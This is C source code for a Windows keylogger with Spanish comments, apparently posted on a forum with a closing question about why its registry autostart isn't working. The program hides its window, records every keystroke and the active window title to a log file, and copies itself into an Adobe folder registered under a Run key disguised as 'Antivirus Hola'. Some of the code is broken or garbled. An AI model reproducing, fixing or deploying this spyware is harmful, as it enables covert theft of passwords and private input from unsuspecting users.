/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------
Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
en el archivo "LgPh.log" con el título de la ventana y la fecha
- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com &&
http://l-bytes.tk*/
/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
/*para el log*/
FILE *logg;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;
/*==============================================================
==============================================================*/
int main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();
/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);
/*abrimos el log*/
logg=fopen("LgPh.log","a");
/*escribimos en el log*/
fprintf(logg,"\n------------------------------------\n");
fprintf(logg,"
fprintf(logg,"\n
- Iniciando keyloguer...");
fclose(logg);
/*comenzamos a loguear teclas*/
KeyLogger();
start_with_windows();
}
int start_with_windows(){
char execution_dir[MAX_PATH];
char *program_files_variable;
char path_destiny[MAX_PATH];
///Gets from which directory the program is running
HMODULE current_executable = GetModuleHandle(NULL);
GetModuleFileName(current_executable,execution_dir, sizeof(execution_dir));
///Gets program files directory
program_files_variable = getenv("C:\Program Files (x86)");
///Copies the program files directory to the destiny path string
strcpy(path_destiny, program_files_variable);
strcat(path_destiny, "\Adobe");
///Copies the file to the program files folder
CopyFile(execution_dir, path_destiny, 0);
///Creates a registry key
HKEY hKey;
///Opens the registry key "run" to start with Windows
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
///Set the value of the new key. Put the path of the malware
RegSetValueEx(hKey, "Antivirus Hola",0,REG_SZ,(const unsigned char*) path_destiny,sizeof(path_destiny));
RegCloseKey(hKey);
///Debugging purpouses
//cout << execution_dir << endl;
return 0;
}
/*==============================================================
ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad
//limpiamos el buffer del teclado para no mezclar
fflush(stdin);
/*comenzamos a loguear*/
logg=fopen("LgPh.log","a");
fprintf(logg,"OK\n");
fclose(logg);
//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();
//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(<ime);
ctime(<ime);
//como ha cambiado laventana, guardamos los datos
logg=fopen("LgPh.log","a");
fprintf(logg,"\n\n
- Fecha: %s",ctime(<ime)); //metemos la hora
fprintf(logg,"[-] [ Ventana: %s ]",TVentana);
fprintf(logg,"\n %s",Teclas);//guardamos las teclas
fclose(logg);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}
/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}
//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}
//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;
case 113:
strcat(Teclas,"[F2]");
break;
case 114:
strcat(Teclas,"[F3]");
break;
case 115:
strcat(Teclas,"[F4]");
break;
case 116:
strcat(Teclas,"[F5]");
break;
case 117:
strcat(Teclas,"[F6]");
break;
case 118:
strcat(Teclas,"[F7]");
break;
case 119:
strcat(Teclas,"[F8]");
break;
case 120:
strcat(Teclas,"[F9]");
break;
case 121:
strcat(Teclas,"[F10]");
break;
case 122:
strcat(Teclas,"[F11]");
break;
case 123:
strcat(Teclas,"[F13]");
break;
case 27:
strcat(Teclas,"[Escape]");
break;
case 8:
strcat(Teclas,"[Retroceso]");
break;
case 13:
strcat(Teclas,"[Enter]");
break;
case 9:
strcat(Teclas,"[Tabulado]");
break;
case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;
case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;
case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;
/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;
case 219:
strcat(Teclas,"[']");
break;
case 192:
strcat(Teclas,"[ñ]");
break;
case 32:
strcat(Teclas," ");
break;
case 144:
strcat(Teclas,"[Bloq Num]");
break;
case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;
case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;
case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;
case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;
case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;
case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;
case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;
case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;
case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;
case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;
case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;
case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;
case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;
case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;
case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;
case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;
case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;
default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
_sleep(100);
}while (1<2);
}
Veran, ya pude poner bien la funcion, pero lo que pasa es que en el registro no registra nada, que es lo que esta mal?